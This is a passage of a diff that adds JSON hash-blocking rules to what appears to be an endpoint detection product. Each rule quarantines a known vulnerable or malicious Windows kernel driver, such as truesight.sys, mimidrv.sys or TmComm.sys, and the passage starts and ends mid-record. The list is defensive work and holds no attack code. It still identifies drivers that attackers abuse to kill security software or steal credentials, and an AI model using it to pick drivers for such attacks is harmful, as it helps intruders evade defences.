+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472214Z",
+  "creation_date": "2026-03-23T11:45:30.472218Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6001c6acae09d2a91f8773bbdfd52654c99bc672a9756dc4cb53dc2e3efeb097",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8837c645-02a1-5790-910a-45ce28fba910",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479901Z",
+  "creation_date": "2026-03-23T11:45:30.479903Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479908Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b3196a346973837242d92f3a0ff7bdc2485075d51de0b53650e4ef7348c7a83",
+  "comment": "Vulnerable NVIDIA Kernel Driver (aka nvoclock.sys) [https://github.com/zer0condition/NVDrv] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88453b33-0d34-5242-9680-aab402878ac4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.158859Z",
+  "creation_date": "2026-03-23T11:45:31.158861Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.158867Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e0f1aad657bb2576b5d110e698954fbcb5e7cbecea7811df2c66ef949e06afa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "884cd8f0-411f-59d2-b1b7-689892e04a4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831639Z",
+  "creation_date": "2026-03-23T11:45:30.831641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831647Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a418bce19620d466f516956279ac4072de1391ce704558317ad6b78146fff86",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88570ad1-2377-5dec-8b7a-2d997d6f8c9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819598Z",
+  "creation_date": "2026-03-23T11:45:31.819601Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "936131f90127991c8cc5bbadbd26016fbe148f0e9d039a5b40c5cedc19d6edf6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8859a137-3533-54bb-b847-9b2931451e98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825549Z",
+  "creation_date": "2026-03-23T11:45:31.825552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825561Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de08dfc173672c79e55af09e5bf86f5d9cb6968a9bb77457e689f629642f1b18",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "885d54e3-ed28-5275-b557-250956736422",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153840Z",
+  "creation_date": "2026-03-23T11:45:31.153842Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44899bc99bd4383c35fe36b6563509c1d4e9eca92b05378ee7b68eb1e0f7ac96",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "885f5aed-0869-59e5-b9ec-8a95e2e786a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462699Z",
+  "creation_date": "2026-03-23T11:45:30.462710Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462719Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e56e96df36237e65b3d7dbc490afdc826215158f6278cd579c576c4b455b392",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "886072b0-2957-594b-a14a-378352224ace",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827802Z",
+  "creation_date": "2026-03-23T11:45:31.827805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827812Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22d99dea02cef171a259514d5df1c7ad8bec039efa524adde6d8baf26c809945",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "886b6f9e-b4a0-5043-ad32-21f2f8486101",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157512Z",
+  "creation_date": "2026-03-23T11:45:31.157514Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157519Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9809b818ed8be17eb1df23699a3e56cc4ef2285d451110933790ef37cb2a193c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "886b904c-1b22-526f-a425-3ca94e908dbf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145291Z",
+  "creation_date": "2026-03-23T11:45:32.145295Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e681ed97f08f8dc269c85b75160a508e59ba3045ddb14f99d64dd767dc556ba",
+  "comment": "Malicious Kernel Driver (aka driver_77225a99.sys) [https://www.loldrivers.io/drivers/5fb86651-c152-404a-9a2f-0f54b0d2bb55/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "886f8a99-caa8-5a18-b353-0accdeb04181",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834326Z",
+  "creation_date": "2026-03-23T11:45:30.834329Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834338Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd0d5cfc979656771528d3b0b06176198ea6db6dce738a75a2a1104ec7d79adf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88750238-1419-5a83-a6fc-0908e9044de7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826549Z",
+  "creation_date": "2026-03-23T11:45:30.826551Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826557Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ad53841b2f9e90005057b3c436060baa8d2031f8c0e2dc43144452fa8c6d63b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88771e57-58bb-5fe1-ac07-e0c0eaae184c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815708Z",
+  "creation_date": "2026-03-23T11:45:30.815710Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815716Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be62ed235421930c84ce9c7789f3beb6b7a48a6bca9065063b7ce78effde1db2",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "887e1105-555e-5987-9c6d-e58bd375dc63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817053Z",
+  "creation_date": "2026-03-23T11:45:30.817055Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817060Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81d54ebef1716e195955046ffded498a5a7e325bf83e7847893aa3b0b3776d05",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8882eb4f-8a08-5d0a-9236-595dae04cca7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974299Z",
+  "creation_date": "2026-03-23T11:45:29.974301Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974306Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ed3d54fb8222d861785f0d7e71d6223278fbf4d0baa335a54813087d7c3674e",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "888a5efc-afe3-5771-aa34-3fb59335367d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622491Z",
+  "creation_date": "2026-03-23T11:45:29.622493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622499Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3b257357be41a18319332df7023c4407e2b93ac4c9e0c6754032e29f3763eac",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88aae4ce-8e46-53d9-8189-d07f835d6578",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823359Z",
+  "creation_date": "2026-03-23T11:45:30.823365Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823375Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "891ad430e7f1d58ef85b437505a6016fa99a72abcfd4734476efc5fc1fcd1cba",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller AntiMalware Driver (aka truesight.sys) [https://github.com/ph4nt0mbyt3/Darkside] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88bad8d1-2aa9-5ef7-8ae4-5dad7748abf8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820894Z",
+  "creation_date": "2026-03-23T11:45:30.820896Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820901Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37d999df20c1a0b8ffaef9484c213a97b9987ed308b4ba07316a6013fbd31c60",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88c1d35b-2a83-56c9-8320-2afc9bc424cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985304Z",
+  "creation_date": "2026-03-23T11:45:29.985306Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985311Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3243aab18e273a9b9c4280a57aecef278e10bfff19abb260d7a7820e41739099",
+  "comment": "Dangerous Physmem Kernel Driver (aka Se64a.Sys) [https://www.loldrivers.io/drivers/d819bee2-3bff-481f-a301-acc3d1f5fe58/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88c86f6d-8a0b-52ea-a2aa-62fc24430ccc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156073Z",
+  "creation_date": "2026-03-23T11:45:31.156075Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156081Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc8f9bb57eea8ab776ae7391505ffb5fdb7858d81270b97eac40cd7acdf81877",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88cd7ef8-9495-5684-aa6b-681251781c96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493143Z",
+  "creation_date": "2026-03-23T11:45:31.493146Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493155Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a8480b44d50421c9ec4cfa00590bc48ca68527e821cc3d7e71860b491e30a41b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88cfffe3-8b2d-5342-90d8-a4ebc453933a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492467Z",
+  "creation_date": "2026-03-23T11:45:31.492469Z",
+  "enabled": true,
+  "block_on_agent": true,
